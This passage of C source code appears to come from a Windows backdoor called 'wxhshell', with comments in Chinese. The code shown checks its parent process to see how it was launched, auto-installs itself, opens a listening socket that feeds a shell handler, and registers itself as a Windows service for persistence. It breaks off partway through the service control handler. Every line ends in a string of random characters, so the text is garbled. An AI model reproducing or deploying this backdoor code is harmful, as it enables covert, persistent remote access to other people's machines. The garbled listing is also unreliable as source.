} PROCESS_BASIC_INFORMATION; 5x$/.U
LDg"s0n#
PROCNTQSIP NtQueryInformationProcess; R Lnsy,
eKRslMa
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /zt9;^e
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (<M^C>pldf
Q6>7{\8l
HANDLE hProcess; Za,MzKd=
PROCESS_BASIC_INFORMATION pbi; g%C!)UbT
s|40v@M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wp2W:JX:
if(NULL == hInst ) return 0; TFZvZi$u&
T,'{0q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QuF76&)7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X?6E0/r&9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9gu$vF]9!
j[E8C$lW
if (!NtQueryInformationProcess) return 0; ^pI&f{q
CMQlxX?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8(AI|"A"-
if(!hProcess) return 0; ~*R:UTBtw
gK&MdF*
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !yUn|v>&p
B: '}SA{
CloseHandle(hProcess); 72i]`
]YQ!i@Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /5x~3~
if(hProcess==NULL) return 0; ]mfI$p%
rwZI;t$hf
HMODULE hMod; KBUClx?
char procName[255]; j|6@>T1
unsigned long cbNeeded; X jJV
ZQL4<fy'E
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \BRxdK'
K;n2mXYGM
CloseHandle(hProcess); cpIFjb>u{
E1|> O
if(strstr(procName,"services")) return 1; // 以服务启动 T9s$IS ,
g431+O0K1
return 0; // 注册表启动 b 8vyJb,K
} 2yB@)?V/
*qX!
// 主模块 >e
g8zN
int StartWxhshell(LPSTR lpCmdLine) \2UtT@3|C
{ S.: m$s
SOCKET wsl; f *Xum[
BOOL val=TRUE; 6%jv|\>
int port=0; Sckt gp8
struct sockaddr_in door; >A]U.C
3SI~?&HU!/
if(wscfg.ws_autoins) Install(); .5S< G)Ja
)2nx5"
port=atoi(lpCmdLine); !Q/%N#
2qA"emUM
if(port<=0) port=wscfg.ws_port; {6y@;Fd
v$WH#;(\
WSADATA data; i)@IV]]6yL
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g9T9TQ-O
1X ?9Ji)h
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; slQxz;t
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
L+=pEk_
door.sin_family = AF_INET; 0xN1Xm0d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); a>05Yxw
door.sin_port = htons(port); +i\ +bR
7Gos-_s
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I^u$H&
closesocket(wsl); TKwMgC}<[
return 1; 5xS
ze;
} WR;)
Iu)76Y@=5=
if(listen(wsl,2) == INVALID_SOCKET) { x;F^7c1
closesocket(wsl); ?Nbc#0pb7
return 1; Juhi#&`T
} Mnv2tnU]
Wxhshell(wsl); |}?o=bO
WSACleanup(); 9 rMP"td
un&Z'
.
return 0; 'XbrO|%
,Ky-3p>
} =V[ey
8V08>M
// 以NT服务方式启动 nt5x[xa
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qf'%".*=~8
{ 1DTA Dh0
DWORD status = 0; w,s++bV;L
DWORD specificError = 0xfffffff; l>kREfHq!{
=_"[ &^
serviceStatus.dwServiceType = SERVICE_WIN32; _Yms]QEZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; R.Uwf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y30T>5
serviceStatus.dwWin32ExitCode = 0; (v@)nv]U
serviceStatus.dwServiceSpecificExitCode = 0; KJs/4oR;
serviceStatus.dwCheckPoint = 0; fPA5]a9
serviceStatus.dwWaitHint = 0; 8M~^/Zc
c*@#0B
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^W*T~V*8
if (hServiceStatusHandle==0) return; } vzNh_
>Av[`1a2F
status = GetLastError(); C 7a$>#%
if (status!=NO_ERROR) 01_*^iCf5
{ oRALhaI
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?6#F9\
serviceStatus.dwCheckPoint = 0; ;UnJrP-if
serviceStatus.dwWaitHint = 0; }}Kjb
serviceStatus.dwWin32ExitCode = status; `p'(:W3a
serviceStatus.dwServiceSpecificExitCode = specificError; 5Xr<~xr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A#@9|3
return; q\r@x-&g+
} d OYEl<!J
`alQmGUZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; vTk\6o q
serviceStatus.dwCheckPoint = 0; %RS~>pK1
serviceStatus.dwWaitHint = 0; ER'zjI>t@
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h't!1u
} |RS(QU<QE
f7y3BWOi]
// 处理NT服务事件,比如:启动、停止 b rpsZU
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ 7^#.
{ vhz[ H
switch(fdwControl) A{IJ](5.kd
{ >[A7oH
case SERVICE_CONTROL_STOP: _s%;GWj
serviceStatus.dwWin32ExitCode = 0; WW&agr
serviceStatus.dwCurrentState = SERVICE_STOPPED; QO;OeMQv%
serviceStatus.dwCheckPoint = 0; :5DL&,,Q3
serviceStatus.dwWaitHint = 0; Gkr?M^@K
{ oz[Mt
i*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -
fx?@
} f$|AU-|<
return; ~_GW
case SERVICE_CONTROL_PAUSE: /T\'&s3D+
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9[@K4&